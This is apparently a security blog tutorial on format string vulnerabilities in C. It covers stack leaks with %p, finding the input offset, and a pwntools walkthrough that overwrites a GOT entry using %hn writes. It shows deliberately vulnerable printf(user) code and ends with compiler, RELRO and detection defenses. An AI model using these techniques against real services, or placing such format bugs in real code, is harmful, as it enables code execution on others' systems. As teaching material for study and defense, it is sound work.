Format String Vulnerabilities: Leaks and Writes

Format String Vulnerabilities: Leaks and Writes - article cover image RE & Pwn
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

A format string vulnerability arises when a program passes attacker-controlled data as the format argument to a function of the printf family (printf, fprintf, sprintf, snprintf, syslog, and friends). The format string is not inert text: it is a mini-language whose conversion specifiers (%s, %p, %n, …) instruct printf to fetch and act on additional arguments. When the attacker writes the format string, they control that instruction stream — and because printf reads its variadic arguments from the stack/registers regardless of whether the caller actually supplied them, the bug yields both an arbitrary read (leak memory with %p/%s) and, through the little-known %n, an arbitrary write.

That read-and-write pair is what makes format strings unusually powerful for such a small mistake. A single printf(user) can leak stack canaries and libc/PIE addresses to defeat ASLR, and then use %n to overwrite a saved return address or a GOT entry, redirecting execution. The bug is easy to introduce (any log or error path that prints user input directly) and modern compilers warn about it (-Wformat-security), yet it still appears in C code, embedded firmware, and anywhere a developer wrote printf(msg) instead of printf("%s", msg).

Attack Prerequisites

Format string exploitation needs the attacker’s bytes to reach a format parameter and needs the primitive to be observable and/or writable. In practice:

  • Attacker-controlled format argument — the input is passed as the *format* (first) argument, e.g. printf(user), not as a value argument.
  • Output visibility for leaks — you can see what the function prints (a response, a log you can read) so %p/%x disclosures come back to you. Blind cases exist but are harder.
  • A writable target for the write primitive — a GOT entry (requires only Partial RELRO; Full RELRO makes the GOT read-only), a saved return address, or another function pointer.
  • Enough length / repeatability%n-based writes often need controlled print widths and sometimes multiple printf calls to place all bytes of a target address.

How It Works

printf does not know how many arguments it was actually given; it trusts the format string. Each conversion specifier makes it consume “the next argument” from wherever the ABI says arguments live. On x86-64 the first few variadic arguments are in registers (rsi, rdx, rcx, r8, r9) and the rest are on the stack; on 32-bit x86 they are all on the stack. When the caller supplied no matching arguments, printf happily walks past the intended slots and interprets whatever bytes are there — stack contents, saved registers, pointers — as the requested type. So %p %p %p dumps a series of stack qwords, and among them you will find saved pointers, a stack canary, and return addresses that reveal PIE/libc/stack layout.

Direct parameter access turns this from a scan into a scalpel. The %N$ syntax (%7$p, %10$p, …) selects the Nth argument directly, so once you count which position corresponds to your own input buffer you can read or write to it deterministically without printing everything before it. You find that position by sending a marker such as AAAA followed by %p.%p.%p... and noting at which index 0x41414141 (or 0x4141414141414141) appears — that index is where your controlled bytes sit on the stack, which is exactly the slot you will point at a target address for a write.

The write primitive is %n: it does not print anything but instead stores the number of characters printed so far into the int* argument at that position. Combine that with two facts — you can inflate the printed count with a width field (%100c prints 100 characters) and you can place an arbitrary target address in your own controlled stack slot — and %n becomes an arbitrary write of a chosen value to a chosen address. Because writing a full 4/8-byte value as one gigantic count is impractical, real exploits write in small pieces: %hn writes a 2-byte (short) value and %hhn writes a single byte, so you overwrite the target two bytes or one byte at a time, adjusting the running character count between each %hn.

Vulnerable Code: The Missing Format String

The entire bug is one absent literal. The safe form passes user data as a value; the vulnerable form passes it as the format:

#include <stdio.h>

void log_line(char *user) {
    /* SAFE:   printf("%s", user);  -- user is data */
    printf(user);          // VULNERABLE: user IS the format string
}
// Input "%p %p %p %p" leaks stack qwords.
// Input "%7$p" leaks exactly the 7th argument slot.
// Input containing %n writes to a pointer taken from the stack.
C

The same defect appears in logging and error wrappers, which is where it hides in real code — the developer forgets that the message itself is interpreted:

#include <syslog.h>

void audit(const char *event) {
    syslog(LOG_INFO, event);   // VULNERABLE: event is the format
    fprintf(stderr, event);    // VULNERABLE: same mistake
}
C

Compilers can catch this. -Wformat -Wformat-security warns on a non-literal format with no arguments, and -Werror=format-security makes it fatal — which is why the bug is rarer in code built with modern hardening flags:

gcc -Wall -Wformat -Wformat-security -o fmt fmt.c
# fmt.c: warning: format not a string literal and no format arguments
checksec --file=./fmt      # check RELRO: Partial vs Full decides GOT writability
Bash

Walkthrough: Leak, Locate, Then Overwrite the GOT

Start by reading memory and finding your input’s stack index. Send a known marker and a run of %p to see where it lands:

# Marker 'AAAAAAAA' then indexed reads; find where 0x4141414141414141 appears.
printf 'AAAAAAAA %p %p %p %p %p %p %p %p\n' | ./fmt

# Direct-parameter probe to confirm the exact index (say it is 6):
printf 'AAAAAAAA-%6$p\n' | ./fmt      # prints 0x4141414141414141 -> index 6
Bash

Leaks defeat ASLR the same way as in ROP: print a GOT entry’s contents to reveal a live libc address, or print a saved return/frame value to reveal PIE and stack bases. pwntools automates counting the offset and building leak payloads with FmtStr/fmtstr_payload:

from pwn import *

e = ELF('./fmt')

# Read a few slots to confirm the format offset to controlled input.
io = process('./fmt')
io.sendline(b'AAAAAAAA-%6$p-%7$p')
print(io.recvline())          # inspect which slot holds your marker
offset = 6                    # measured index of controlled input
Python

Now the write. To hijack execution you overwrite a GOT entry — say the GOT slot of exit (or printf itself) — with the address of system or a one_gadget, so the next call to that function runs your target. This requires only Partial RELRO (writable GOT). fmtstr_payload builds the multi-%hn sequence, correct widths and all, given the write target and value:

# Overwrite exit@GOT with the address of win() (or system / one_gadget).
target = e.got['exit']
value  = e.symbols['win']

payload = fmtstr_payload(offset, {target: value}, write_size='short')
#  write_size='short' -> uses %hn (2-byte) writes, splitting 'value'
#  into halfwords with the running char-count arithmetic handled for you.

io.sendline(payload)
io.interactive()             # when exit() is next called, win() runs instead
Python

Doing it by hand clarifies what fmtstr_payload automates: you place the target address bytes in your controlled stack region, then use %<width>c%N$hn groups where <width> makes the running character count equal the halfword you want to store and N selects the stack slot holding the matching address. You order the writes from the smallest halfword upward because the printed count only increases, adding padding between each %hn to reach the next value. %hhn (single byte) trades more printf work for smaller, more controllable increments and avoids gigantic widths.

Note: Watch the 32-bit vs 64-bit difference. On x86-64 the first five variadic arguments come from registers, so the first stack-resident argument is several %p positions in, and controlled input sits further along than on 32-bit x86 where everything is on the stack. Also, %s on a leaked stack value dereferences it as a pointer — powerful for reading arbitrary strings, but it crashes if the value is not a valid address, so probe with %p first and only use %s once you control the pointer.

Opsec: %n is disabled in some hardened libc configurations when the format string lives in writable memory (glibc’s _FORTIFY_SOURCE %n protection), which turns a write primitive back into read-only. If %n silently does nothing or aborts, fall back to using the leak alone (e.g. to disclose a canary/libc base that feeds a different bug), and note that blind format-string bugs still leak length/timing side channels even when output is not directly returned.

Detection and Defense

Format string bugs are trivially preventable at the source and readily caught by tooling; the follow-on write is further contained by RELRO:

  • Always use a literal format — write printf("%s", user), never printf(user); treat every printf-family call whose format is a variable as a bug to justify.
  • Compile with -Wformat -Wformat-security (ideally -Werror=format-security) so non-literal formats fail the build; GCC/Clang catch the canonical mistake statically.
  • Full RELRO (-Wl,-z,relro,-z,now) makes the GOT read-only after startup, removing the easiest arbitrary-write target; combine with PIE + ASLR so leaked-then-computed addresses are the only path.
  • Stack canaries limit the return-address overwrite variant, and _FORTIFY_SOURCE restricts %n when the format is in writable memory.
  • Detection — SAST/linters (clang-tidy, -Wformat), grep for printf/syslog/fprintf with a bare variable first argument, and fuzzing with format specifiers in inputs; at runtime, crashes triggered by %s/%n on invalid pointers show up as SIGSEGVs in specifier-heavy inputs.

Real-World Impact

Format string vulnerabilities were a headline bug class around 2000, when it was realized that %n upgraded them from information disclosure to arbitrary code execution; the wu-ftpd site-exec format string bug is a frequently cited example from that era. They are less common in new code today thanks to compiler warnings, but they persist in embedded systems, C logging paths, and legacy services, and they remain a favorite in CTFs precisely because one primitive delivers both the ASLR-defeating leak and the arbitrary write in a single, self-contained bug.

Conclusion

A format string vulnerability is one missing "%s" that hands the attacker both halves of an exploit: %p/%x (and direct access like %7$p) read memory to defeat ASLR, and %n/%hn/%hhn write chosen values to chosen addresses — classically a GOT entry redirected to system or a one_gadget. The fix is equally small and absolute: never let untrusted data be the format string, keep Full RELRO and format-security warnings on, and the entire primitive disappears.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL